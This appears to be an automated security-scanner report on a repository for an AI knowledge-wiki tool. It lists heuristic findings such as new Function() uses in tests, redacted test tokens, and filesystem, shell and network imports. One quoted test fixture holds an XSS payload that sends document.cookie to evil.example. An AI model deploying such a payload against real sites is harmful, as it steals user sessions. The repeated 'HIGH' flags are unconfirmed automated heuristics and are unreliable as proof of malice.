Your brain, then your team's brain, then your agents' brain. Drop in documents and it compounds them into an interlinked markdown wiki you own — readable in Obsidian, synced through your own private GitHub repo. Share it with a cohort. Coding agents resume from it across sessions, models and machines.
Drift inferred · capture-to-capture
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
- HIGH code analysis flagged hidden prompt content in talirezun/the-curator
transport stdio · http counts 0 tools · 0 res
· 0 prompts
permission surface via code analysis
No tools enumerated yet for this server.
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 739389e · analyzer v33 · 1h ago
skills & prompt files 3
- hidden: agent-rules: skill-exfil talirezun-the-curator-739389e/CLAUDE.md :627
secret→sink: - **Server binds to 127.0.0.1 only (v3.0.1-beta.20+)** — `app.listen(PORT, '127.0.0.1', ...)`. The Curator is a single-user localhost app; binding to all interfaces (the pre-beta.20 defau
danger signals49
- dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-agent-instructions.js :231
return new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :285
R = new Function(...names, body)(...names.map((n) => INJECTED[n])); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-beta16-broken-links.js :748
return new Function('__calls', preamble + nextBodies.join('\n\n') + '\n' + api)(calls).__attach === undefined - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-chat-model.js :2606
const clientTitleFromSlug = new Function('slug', tfsMatch[1]); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-diagnostics.js :140
return new Function(...m.injected, body); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-health-cost-readouts.js :90
return new Function(...injectedNames, combined)(...injectedNames.map((k) => inject[k])); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-health-merge-links.js :919
splitWikiRef = new Function(src + '\nreturn splitWikiRef;')(); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-install-mode.js :719
const make = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-mcp-launcher.js :180
return new Function('MCP_SERVER_PATH', 'process', 'getCapabilities', 'getMcpLauncherPath', - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-memory-truth.js :488
const escapeHtml = new Function(extractFunction( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-model-failure-ux.js :286
const delayFor = new Function('rateLimited', 'attempt', 'err', 'parseRetryDelay', 'MAX_RETRY_SLEEP_MS', - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-cancel.js :293
const api = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-compile.js :195
return new Function(src)(); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-filter.js :226
const api = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-scopebar.js :189
const api = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-sidebar.js :191
return new Function('__state', src); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-streaming.js :124
const realChipFn = (name) => new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-chat-waiting.js :140
const formatDurationMs = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-checkbox-visual.js :251
const resolve = (new Function('return ' + resolverSrc))()(); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-compile-estimate.js :371
const buildOutSandbox = (body) => new Function(` - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-composer-model.js :375
const sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-confirm-dialog.js :428
const factory = new Function('document', 'Promise', - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-cost-honesty.js :215
domainsSandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-design-kit.js :976
const make = new Function('state', 'escapeHtml', src.slice(start, fnEnd) + '\nreturn renderBackgroundMode;'); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domain-card-order.js :197
main = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domain-dots.js :406
domainDotClass = new Function(`const DOMAIN_DOT_SLOTS = ${slotCount};\n${fnSrc}\nreturn domainDotClass;`)(); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domain-lifecycle.js :151
sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domain-pages.js :292
box = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domain-projects.js :198
sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domains-swr.js :199
box = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-domains-text.js :190
return new Function(...names, `${body}\nreturn ${returnName};`); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-existing-knowledge-folder.js :300
sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-icons.js :160
const sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-ingest-dropzone.js :432
const factory = new Function(...names, stripped + - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-ingest-view.js :188
const sandbox = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-invite-and-inert.js :189
const sharedApi = new Function(` - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-listbox.js :135
const escapeHtml = new Function(extractFunction(appJs, 'escapeHtml', 'app.js') + '\nreturn escapeHtml;')(); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-loading-gate.js :542
const fn = new Function( - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-markdown.js :279
const sandbox = new Function('icon', `${bodySrc}\nreturn { ${FNS.join(', ')} };`)(iconStub); - dynamic code execution new Function() talirezun-the-curator-739389e/scripts/test-next-mcp-wizard.js :191
const sandbox = new Function( - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/.githooks/secret-allowlist :1
github…(39 chars, redacted) - committed secret GitHub token talirezun-the-curator-739389e/.githooks/secret-allowlist :10
ghp_th…(41 chars, redacted) - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/scripts/test-logger.js :239
github…(38 chars, redacted) - committed secret private key talirezun-the-curator-739389e/scripts/test-logger.js :243
PEM private key block (redacted) - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/scripts/test-sharedbrain-github-offline.js :612
github…(39 chars, redacted) - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/scripts/test-sharedbrain-local.js :367
github…(35 chars, redacted) - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/scripts/test-sharedbrain-revoke.js :1119
github…(38 chars, redacted) - committed secret GitHub fine-grained PAT talirezun-the-curator-739389e/scripts/test-sharedbrain-scenarios.js :188
github…(43 chars, redacted) - committed secret GitHub token talirezun-the-curator-739389e/scripts/test-sharedbrain-security.js :291
ghp_th…(41 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 401
filesystem 245
- fs talirezun-the-curator-739389e/desktop/lib/adhoc-sign.mjs :79
import { readdirSync } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/lib/app-version.js :54
import { readFileSync } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/lib/dist.js :24
import { existsSync } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/lib/update-engine.js :64
import { createWriteStream } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/lib/verify-version.mjs :44
import { readdirSync, readFileSync } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/lib/window-state.js :52
import { readFileSync, writeFileSync, mkdirSync } from 'node:fs'; - fs talirezun-the-curator-739389e/desktop/main.js :48
import { existsSync, readFileSync, watch as fsWatch } from 'node:fs'; - fs talirezun-the-curator-739389e/mcp/storage/local.js :84
import fs from 'node:fs/promises'; - fs talirezun-the-curator-739389e/mcp/tools/compile.js :21
import { existsSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/bulk-reingest.js :22
import { readdir } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/check-doc-suite-counts.js :51
import { readFileSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/fix-tag-spaces.js :12
import { readFileSync, writeFileSync } from 'fs';
show 28 more
- fs (weak) talirezun-the-curator-739389e/scripts/fix-wiki-duplicates.js :24
import { readFile, writeFile, readdir, rm } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/fix-wiki-structure.js :37
import { readFile, writeFile, readdir, rm, mkdir } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/inject-summary-backlinks.js :15
import { readdir, readFile } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/measure-ingest-prompt.js :35
import { readFile, readdir, stat } from 'node:fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/probe-openrouter-models.js :100
import { readFile, writeFile, mkdir, readdir, mkdtemp, cp, rm, appendFile, stat } from 'node:fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/publish-dmg-assets.js :61
import { existsSync, readdirSync, renameSync, appendFileSync, statSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/release.js :108
import { readFileSync, writeFileSync, existsSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/repair-wiki.js :27
import { readFile, writeFile, readdir, rm } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/run-tests.js :26
import { readdirSync, readFileSync, existsSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-agent-instructions.js :54
import { readFileSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-anthropic-content-blocks.js :48
import { mkdtempSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :62
import fs from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-app-icon-geometry.js :57
import { existsSync, readFileSync } from 'node:fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-background-mode.js :48
import fs from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta10-fixes.js :19
import { mkdtempSync, rmSync, writeFileSync, existsSync, readFileSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta11-fixes.js :25
import { mkdtempSync, rmSync, existsSync, readFileSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta13-fixes.js :19
import { mkdtempSync, rmSync, copyFileSync, existsSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :33
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta15-production.js :30
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta16-broken-links.js :67
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, existsSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta16-production.js :17
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta17-production.js :20
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta25-compile-live.js :32
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta27-compile-fallback.js :19
import { mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta27-compile-live.js :26
import { readFileSync, writeFileSync, existsSync, mkdtempSync, rmSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta8-live-llm.js :33
import { mkdtempSync, rmSync, mkdirSync, copyFileSync, readFileSync, existsSync, readdirSync, writeFileSync } from 'fs'; - fs (weak) talirezun-the-curator-739389e/scripts/test-beta8-stress.js :17
import { mkdtemp, mkdir, readFile, writeFile, readdir, symlink, lstat, unlink, rm, stat } from 'fs/promises'; - fs (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :61
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, existsSync, rmSync } from 'fs';
205 more not shown — this panel samples each group; the count above is the real total.
shell / exec 66
- shell talirezun-the-curator-739389e/desktop/lib/adhoc-sign.mjs :78
import { spawnSync } from 'node:child_process'; - shell talirezun-the-curator-739389e/desktop/lib/dist.js :23
import { spawnSync } from 'node:child_process'; - shell talirezun-the-curator-739389e/desktop/lib/verify-version.mjs :43
import { execFileSync } from 'node:child_process'; - shell talirezun-the-curator-739389e/desktop/main.js :34
* `if (!process.env.CURATOR_NO_OPEN) exec('open http://localhost:'+PORT)`. - shell (weak) talirezun-the-curator-739389e/scripts/fix-tag-spaces.js :14
import { execSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/release.js :107
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/repair-wiki.js :501
const { execFileSync } = await import('child_process'); - shell (weak) talirezun-the-curator-739389e/scripts/run-tests.js :25
import { spawn } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-beta8-stress.js :21
import { spawn } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :67
import { execFileSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-update-macos.js :42
import { spawn, spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-update.js :65
import { spawn, spawnSync } from 'node:child_process';
show 28 more
- shell (weak) talirezun-the-curator-739389e/scripts/test-desktop-version-identity.js :62
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-domain-stats.js :61
import { execFileSync, spawnSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-first-run-domains.js :553
const { spawn } = await import('node:child_process'); - shell (weak) talirezun-the-curator-739389e/scripts/test-frontend-syntax.js :53
import { execFileSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-install-mode.js :56
import { execFileSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-instance-probe.js :62
import { spawn } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-logger.js :453
// proves the WIRING statically instead: execFile (never exec, so no shell - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-domains-path.js :66
import { spawn } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-e2e.js :58
import { spawn } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-launcher.js :70
import { execFileSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-projects.js :34
import { spawn } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-setup-contract.js :44
import { spawn } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-mcp-working-state.js :39
import { spawn } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-next-composer-model.js :178
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-next-model-picker.js :279
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-next-sync-badge-invalidation.js :61
import { execFileSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :523
const { execFileSync } = await import('child_process'); - shell (weak) talirezun-the-curator-739389e/scripts/test-paths.js :52
import { execFileSync, spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-raw-store.js :12
* the resolved path is `execFile('open', …)`. So the resolution chokepoint is - shell (weak) talirezun-the-curator-739389e/scripts/test-release-preconditions.js :416
// the safety call from exec() changed nothing observable, since no code path - shell (weak) talirezun-the-curator-739389e/scripts/test-release-publish.js :58
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-repair-wiki-args.js :28
import { execFileSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-route-write-guards.js :60
import { execFileSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-runner-integration.js :16
import { spawnSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :28
import { spawnSync } from 'node:child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-hardening.js :383
'sharedbrain.js uses execFile (no shell interpolation of page paths)'); - shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-llm-live.js :48
import { execFileSync } from 'child_process'; - shell (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-push.js :51
import { execFileSync } from 'child_process';
26 more not shown — this panel samples each group; the count above is the real total.
network 61
- net talirezun-the-curator-739389e/desktop/lib/port.js :57
import net from 'node:net'; - net talirezun-the-curator-739389e/desktop/lib/update-plan.js :362
// downloads from. This URL comes off the network and is handed to fetch(), - net talirezun-the-curator-739389e/desktop/lib/update-verdict.js :118
* `fetch()` yields an unquarantined one. Both arms are in the macOS suite, - net (weak) talirezun-the-curator-739389e/scripts/run-tests.js :319
'test-desktop-update-macos.js', // the update swap against a REAL ad-hoc-signed fixture bundle, with real hdiutil, ditto, plutil and codesign. LIVE_LOCAL rather than OFFLINE because it need - net (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :67
import { createServer } from 'node:http'; - net (weak) talirezun-the-curator-739389e/scripts/test-background-mode.js :53
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :66
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-chat-cancel.js :192
const res = await fetch(url, { ...init, signal: ac.signal }); - net (weak) talirezun-the-curator-739389e/scripts/test-chat-streaming.js :228
const res = await fetch(url, { - net (weak) talirezun-the-curator-739389e/scripts/test-desktop-packaging.js :501
'CONTROL — no assertion in this section escaped to the real fetch (this suite is OFFLINE)'); - net (weak) talirezun-the-curator-739389e/scripts/test-desktop-update.js :289
'asset-unusable', 'PLAIN HTTP IS REFUSED — the URL comes off the network and is handed to fetch()'); - net (weak) talirezun-the-curator-739389e/scripts/test-first-run-domains.js :88
import http from 'node:http';
show 28 more
- net (weak) talirezun-the-curator-739389e/scripts/test-ingest-abort.js :42
import http from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-ingest-activity.js :60
import http from 'node:http'; - net (weak) talirezun-the-curator-739389e/scripts/test-ingest-model-gone.js :144
const res = await fetch(`${BASE}/api/ingest`, { method: 'POST', body: form }); - net (weak) talirezun-the-curator-739389e/scripts/test-instance-probe.js :61
import http from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-model-availability.js :388
const res = await fetch(BASE + p, init); - net (weak) talirezun-the-curator-739389e/scripts/test-next-chat-compile.js :737
const re = /fetch(?:JSON)?\(\s*['"`]\/api\/domains['"`][\s\S]{0,200}?method:\s*['"`]POST['"`]/g; - net (weak) talirezun-the-curator-739389e/scripts/test-next-compile-estimate.js :69
import http from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-next-existing-knowledge-folder.js :257
async function fetch(url, opts) { - net (weak) talirezun-the-curator-739389e/scripts/test-next-markdown.js :711
'<script>fetch("https://evil.example/"+document.cookie)</script>', - net (weak) talirezun-the-curator-739389e/scripts/test-next-mcp-wizard.js :816
ok(rawFetches === 1, 'there is exactly ONE raw fetch() in the module (inside getJson)'); - net (weak) talirezun-the-curator-739389e/scripts/test-next-memory-ingest-text.js :876
/method:\s*'(POST|PUT|PATCH|DELETE)'/i.test("fetch(u, { method: 'POST' })")); - net (weak) talirezun-the-curator-739389e/scripts/test-next-memory-view.js :44
* · The view has NO write path, asserted STRUCTURALLY: every `fetch(` call - net (weak) talirezun-the-curator-739389e/scripts/test-next-onboarding.js :1139
`the hidden check precedes the fetch (${iHidden} < ${iRefresh}) — a background tab reschedules without hitting the disk`); - net (weak) talirezun-the-curator-739389e/scripts/test-next-raw-source.js :388
for (const sink of ['fetch(', 'XMLHttpRequest', 'window.open', 'location.href', 'location.assign', 'navigator.sendBeacon', 'new Image', 'import(']) { - net (weak) talirezun-the-curator-739389e/scripts/test-next-recovery-and-badge.js :49
* and the real fetch()/git-fetch behind refreshSyncBadge()/ - net (weak) talirezun-the-curator-739389e/scripts/test-next-semantic-gate.js :210
// net.nextReject at the fetch() call site itself (network-level failure, - net (weak) talirezun-the-curator-739389e/scripts/test-next-sync-badge-invalidation.js :47
* - The real fetch() behind refreshSyncBadge(), and whether the server's - net (weak) talirezun-the-curator-739389e/scripts/test-next-sync-spin.js :52
* than re-running it (it performs a real fetch()). - net (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :63
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-offerable-models-route.js :89
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :70
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-openrouter-live.js :203
const res = await fetch(url, init); - net (weak) talirezun-the-curator-739389e/scripts/test-route-write-guards.js :59
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-router-lanes.js :59
import { createServer } from 'http'; - net (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :494
const res = await fetch('http://127.0.0.1:' + port + '/api/config/api-keys/model', { - net (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-route-guards.js :123
const res = await fetch(BASE + p, init); - net (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-routes.js :121
const r = await fetch(url, opts); - net (weak) talirezun-the-curator-739389e/scripts/test-sync-hygiene.js :1860
// network conditions that break a fetch (lid closed, VPN dropped,
21 more not shown — this panel samples each group; the count above is the real total.
secrets 20
- secrets (weak) talirezun-the-curator-739389e/scripts/test-anthropic-content-blocks.js :58
process.env.ANTHROPIC_API_KEY = 'sk-ant-test-not-a-real-key'; - secrets (weak) talirezun-the-curator-739389e/scripts/test-beta13-chat-live.js :35
if (!process.env.GEMINI_API_KEY) { - secrets (weak) talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :119
const LIVE_KEY = process.env.ANTHROPIC_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-beta8-live-llm.js :82
if (!process.env.GEMINI_API_KEY) { - secrets (weak) talirezun-the-curator-739389e/scripts/test-build-model.js :88
delete process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-cancel.js :223
delete process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-intent-live.js :91
const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-model.js :114
const savedA = process.env.ANTHROPIC_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-streaming.js :260
delete process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-style-live.js :102
const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-chat-truncation-live.js :99
const haveGemini = !!keys.geminiApiKey || !!process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-ingest-deep.js :120
let geminiKey = process.env.GEMINI_API_KEY || null;
show 8 more
- secrets (weak) talirezun-the-curator-739389e/scripts/test-ingest-real-llm.js :149
const apiKey = process.env.GEMINI_API_KEY || process.env.ANTHROPIC_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-llm-streaming.js :65
process.env.ANTHROPIC_API_KEY = 'sk-ant-test-not-a-real-key'; - secrets (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :85
delete process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :122
delete process.env.OPENROUTER_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-openrouter-live.js :112
delete process.env.GEMINI_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-provider-error-remedies.js :207
const origAnthropic = process.env.ANTHROPIC_API_KEY; - secrets (weak) talirezun-the-curator-739389e/scripts/test-sharedbrain-route-guards.js :65
delete process.env.GEMINI_API_KEY; - secrets talirezun-the-curator-739389e/src/brain/config.js :1395
return keys.geminiApiKey || process.env.GEMINI_API_KEY || null;
declared dependencies 8
- @modelcontextprotocol/sdk@^1.29.0
- @anthropic-ai/sdk@^0.39.0
- @google/generative-ai@^0.24.0
- dotenv@^16.5.0
- express@^4.21.2
- jsonrepair@^3.13.3
- multer@^2.2.0
- pdf-parse@^1.1.1
obfuscation 10
- dynamic require()/import() talirezun-the-curator-739389e/scripts/test-beta14-anthropic-fix.js :146
const cfgMod = await import(`../src/brain/config.js?live=${Date.now()}`); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-beta8-stress.js :218
import('${path.resolve('src/brain/atomic-write.js').replace(/\\\\/g, '/')}').then(async ({ writeFileAtomic }) => { - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-build-model.js :147
try { OLD = await import(`../src/brain/${path.basename(BC_PATH)}`); } - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-desktop-version-identity.js :391
const hook = await import(`file://${hookPath}`); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-domain-stats.js :681
const { default: router } = await import(${JSON.stringify(pathToFileURL(path.join(PROJECT_ROOT, 'src/routes/domains.js')).href)}); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-mcp-launcher.js :268
const m = await import(${JSON.stringify('file://' + path.join(appRoot, 'src/routes/mcp.js'))}); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-openrouter-catalogue-sync.js :547
await import(${JSON.stringify(path.join(REPO_ROOT, 'src/routes/config.js'))}); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-paths.js :597
const c = await import(${JSON.stringify(path.join(ROOT, 'src/brain/config.js'))}); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-sidebar-status-rows.js :245
const m = await import(${JSON.stringify(filesUrl)}); - dynamic require()/import() talirezun-the-curator-739389e/scripts/test-working-state-stress.js :383
const WS = await import(${JSON.stringify(path.join(REPO, 'src/brain/working-state.js'))});
perm:untrusted 5
- untrusted (weak) talirezun-the-curator-739389e/scripts/test-api-keys-contract.js :132
const getKeys = async () => (await fetch(BASE + '/api/config/api-keys')).json(); - untrusted (weak) talirezun-the-curator-739389e/scripts/test-offer-list-memo.js :333
const fetchBody = async () => JSON.parse(await (await fetch(`http://127.0.0.1:${port}/api/config/api-keys`)).text()); - untrusted (weak) talirezun-the-curator-739389e/scripts/test-offerable-models-route.js :1012
const before = await (await fetch(BASE + '/api/config/api-keys')).json(); - untrusted (weak) talirezun-the-curator-739389e/scripts/test-router-lanes.js :388
const getKeys = async () => (await fetch(BASE + '/api/config/api-keys')).json(); - untrusted (weak) talirezun-the-curator-739389e/scripts/test-selected-model.js :499
const after = await (await fetch('http://127.0.0.1:' + port + '/api/config/api-keys')).json();